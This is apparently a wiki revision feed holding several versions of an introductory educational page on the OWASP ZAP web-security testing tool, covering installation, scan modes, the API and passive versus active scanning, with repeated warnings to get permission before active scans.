There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-Ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for &amp;quot;Manage Add-Ons&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. Current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is defaultly running in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site we already mentioned spidering as a viable option but we need to keep in mind that they also are rather limited when it comes to filling out forms, they may enter default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP, the benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10931</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10931"/>
		<updated>2023-01-08T15:28:31Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: Added an additional example where ZAP can be tested on&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the clients browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Addtionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels, from those new to security testing who will probably start out by using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people it is also important to know what their security tools really can do. ZAP is open  source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ https://public-firing-range.appspot.com/] which is a free-to-use online installation of Google&#039;s Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to run try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analysed data from web applications are saved. It enables the user to continue their analysis of the webapplication without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result to hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to to choose from:&lt;br /&gt;
* Safe: only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: the officially recommended mode. it allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allow to to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quickstart/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quickstart]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next you will be presented with a welcome message that includes the HUD tutorial (see figure &amp;quot;ZAP HUD Welcome Message&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan the Spider tab opens up in ZAP. The Spider &amp;quot;crawls&amp;quot; through the web application and tries to find every page of the web application.&lt;br /&gt;
===Add-Ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-Ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for &amp;quot;Manage Add-Ons&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. Current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is defaultly running in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site we already mentioned spidering as a viable option but we need to keep in mind that they also are rather limited when it comes to filling out forms, they may enter default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP, the benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10925</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10925"/>
		<updated>2023-01-08T15:15:58Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: Updated required Java version&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the clients browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Addtionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels, from those new to security testing who will probably start out by using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people it is also important to know what their security tools really can do. ZAP is open  source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ https://public-firing-range.appspot.com/] which is a free-to-use online installation of Google&#039;s Firing Range. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analysed data from web applications are saved. It enables the user to continue their analysis of the webapplication without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result to hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to to choose from:&lt;br /&gt;
* Safe: only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: the officially recommended mode. it allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allow to to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quickstart/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quickstart]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next you will be presented with a welcome message that includes the HUD tutorial (see figure &amp;quot;ZAP HUD Welcome Message&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan the Spider tab opens up in ZAP. The Spider &amp;quot;crawls&amp;quot; through the web application and tries to find every page of the web application.&lt;br /&gt;
===Add-Ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-Ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for &amp;quot;Manage Add-Ons&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. Current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is defaultly running in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site we already mentioned spidering as a viable option but we need to keep in mind that they also are rather limited when it comes to filling out forms, they may enter default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP, the benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10920</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10920"/>
		<updated>2023-01-08T15:07:22Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: /* About */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the clients browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Addtionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
